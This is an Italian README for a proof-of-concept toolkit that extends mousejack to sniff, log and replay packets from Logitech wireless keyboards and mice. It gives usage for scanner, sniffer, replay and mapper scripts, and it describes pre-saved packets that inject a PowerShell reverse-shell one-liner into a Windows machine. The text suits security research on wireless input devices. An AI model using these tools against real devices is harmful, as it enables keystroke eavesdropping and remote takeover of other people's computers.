
Attacco a mouse/tastiera wireless con replay/transmit PoC
Questo è codice che estende gli strumenti mousejack https://github.com/RFStorm/mousejack.
Strumenti di replay/trasmissione sono stati aggiunti agli strumenti originali.
I pacchetti POC basati su una tastiera e mouse wireless Logitech Wireless Combo MK220, composta da una tastiera wireless K220 e un mouse wireless M150 sono inclusi nella cartella logs.
Maggiori dettagli disponibili qui https://www.ckn.io/blog/2016/07/09/hijacking-wireless-mice-and-keyboards/
#Utilizzo
Strumento di scoperta dispositivi in modalità pseudo-promiscua, che scansiona un elenco di canali e stampa i pacchetti Enhanced Shockburst decodificati.
usage: ./nrf24-scanner.py [-h] [-c N [N ...]] [-v] [-l] [-p PREFIX] [-d DWELL]
optional arguments:
-h, --help show this help message and exit
-c N [N ...], --channels N [N ...] RF channels
-v, --verbose Enable verbose output
-l, --lna Enable the LNA (for CrazyRadio PA dongles)
-p PREFIX, --prefix PREFIX Promiscuous mode address prefix
-d DWELL, --dwell DWELL Dwell time per channel, in milliseconds
Cerca dispositivi sui canali 1-5
./nrf24-scanner.py -c {1..5}
Cerca dispositivi con un indirizzo che inizia con 0xA9 su tutti i canali
./nrf24-scanner.py -p A9
Sniffer che segue un dispositivo, segue uno specifico dispositivo nRF24 mentre salta di canale, e stampa i pacchetti Enhanced Shockburst decodificati dal dispositivo. Questa versione è stata anche modificata per registrare i pacchetti in un file di log
usage: ./nrf24-sniffer.py [-h] [-c N [N ...]] [-v] [-l] -a ADDRESS -o OUTPUT [-t TIMEOUT] [-k ACK_TIMEOUT] [-r RETRIES]
optional arguments:
-h, --help show this help message and exit
-c N [N ...], --channels N [N ...] RF channels
-v, --verbose Enable verbose output
-l, --lna Enable the LNA (for CrazyRadio PA dongles)
-a ADDRESS, --address ADDRESS Address to sniff, following as it changes channels
-o OUTPUT, --output OUTPUT Output file to log the packets
-t TIMEOUT, --timeout TIMEOUT Channel timeout, in milliseconds
-k ACK_TIMEOUT, --ack_timeout ACK_TIMEOUT ACK timeout in microseconds, accepts [250,4000], step 250
-r RETRIES, --retries RETRIES Auto retry limit, accepts [0,15]
Sniffa pacchetti dall'indirizzo 8C:D3:0F:3E:B4 su tutti i canali e salvali in output.log
./nrf24-sniffer.py -a 8C:D3:0F:3E:B4 -o logs/output.log
Riproduce pacchetti catturati o trasmette quelli generati. Segue uno specifico dispositivo nRF24 mentre salta di canale e invia pacchetti da un file di log.
usage: ./nrf24-replay.py [-h] [-c N [N ...]] [-v] [-l] -a ADDRESS -i INPUT_FILE [-t TIMEOUT] [-k ACK_TIMEOUT] [-r RETRIES]
optional arguments:
-h, --help show this help message and exit
-c N [N ...], --channels N [N ...] RF channels
-v, --verbose Enable verbose output
-l, --lna Enable the LNA (for CrazyRadio PA dongles)
-a ADDRESS, --address ADDRESS Address to sniff, following as it changes channels
-o INPUT_FILE, --input INPUT_FILE Input file that has the packets to sned
-t TIMEOUT, --timeout TIMEOUT Channel timeout, in milliseconds
-k ACK_TIMEOUT, --ack_timeout ACK_TIMEOUT ACK timeout in microseconds, accepts [250,4000], step 250
-r RETRIES, --retries RETRIES Auto retry limit, accepts [0,15]
Invia pacchetti dal file keystroke.log all'indirizzo 8C:D3:0F:3E:B4 sul canale in hopping
./nrf24-replay.py -a 8C:D3:0F:3E:B4 -i logs/keystroke.log
Mapper di rete a stella, che tenta di scoprire gli indirizzi attivi in una rete a stella modificando l'ultimo byte dell'indirizzo dato e interrogando ciascuno dei 256 possibili indirizzi su ogni canale nell'elenco dei canali.
usage: ./nrf24-network-mapper.py [-h] [-c N [N ...]] [-v] [-l] -a ADDRESS [-p PASSES] [-k ACK_TIMEOUT] [-r RETRIES]
optional arguments:
-h, --help show this help message and exit
-c N [N ...], --channels N [N ...] RF channels
-v, --verbose Enable verbose output
-l, --lna Enable the LNA (for CrazyRadio PA dongles)
-a ADDRESS, --address ADDRESS Known address
-p PASSES, --passes PASSES Number of passes (default 2)
-k ACK_TIMEOUT, --ack_timeout ACK_TIMEOUT ACK timeout in microseconds, accepts [250,4000], step 250
-r RETRIES, --retries RETRIES Auto retry limit, accepts [0,15]
Mappa la rete a stella a cui appartiene l'indirizzo 61:49:66:82:03
./nrf24-network-mapper.py -a 61:49:66:82:03
I chip nRF24LU1+ includono un meccanismo di test per trasmettere un tono continuo, la cui frequenza può essere verificata se si ha accesso a un SDR. Esiste la possibilità che offset di frequenza tra dispositivi causino comportamenti imprevisti. Ad esempio, una delle schede di breakout SparkFun testate presentava un offset di frequenza di circa 300kHz, che le faceva ricevere pacchetti su due canali adiacenti.
Questo script farà sì che il ricetrasmettitore trasmetta un tono sul primo canale passato.
usage: ./nrf24-continuous-tone-test.py [-h] [-c N [N ...]] [-v] [-l]
optional arguments:
-h, --help show this help message and exit
-c N [N ...], --channels N [N ...] RF channels
-v, --verbose Enable verbose output
-l, --lna Enable the LNA (for CrazyRadio PA dongles)
Trasmette un tono continuo a 2405MHz
./nrf24-continuous-tone-test.py -c 5
Questo utilizza un dizionario per mappare la pressione dei tasti ai pacchetti equivalenti. Legge l'input da stdin e registra i pacchetti mappati in logs/keystrokes.log. Accetterà input fino a quando non viene premuto Ctrl+C.
usage: ./keymapper.py
La cartella logs contiene vari pacchetti pre-salvati per varie operazioni della tastiera.
Shell.log è per lo sfruttamento di una macchina Windows eseguendo un one-liner di PowerShell che si riconnette alla macchina attaccante.
Il file keys.log funge da riferimento dove varie pressioni e combinazioni di tasti sono mappate ai loro pacchetti equivalenti.
Una demo dello sfruttamento di una macchina Windows può essere trovata qui https://www.youtube.com/watch?v=YLzUeK1IvJs&feature=youtu.be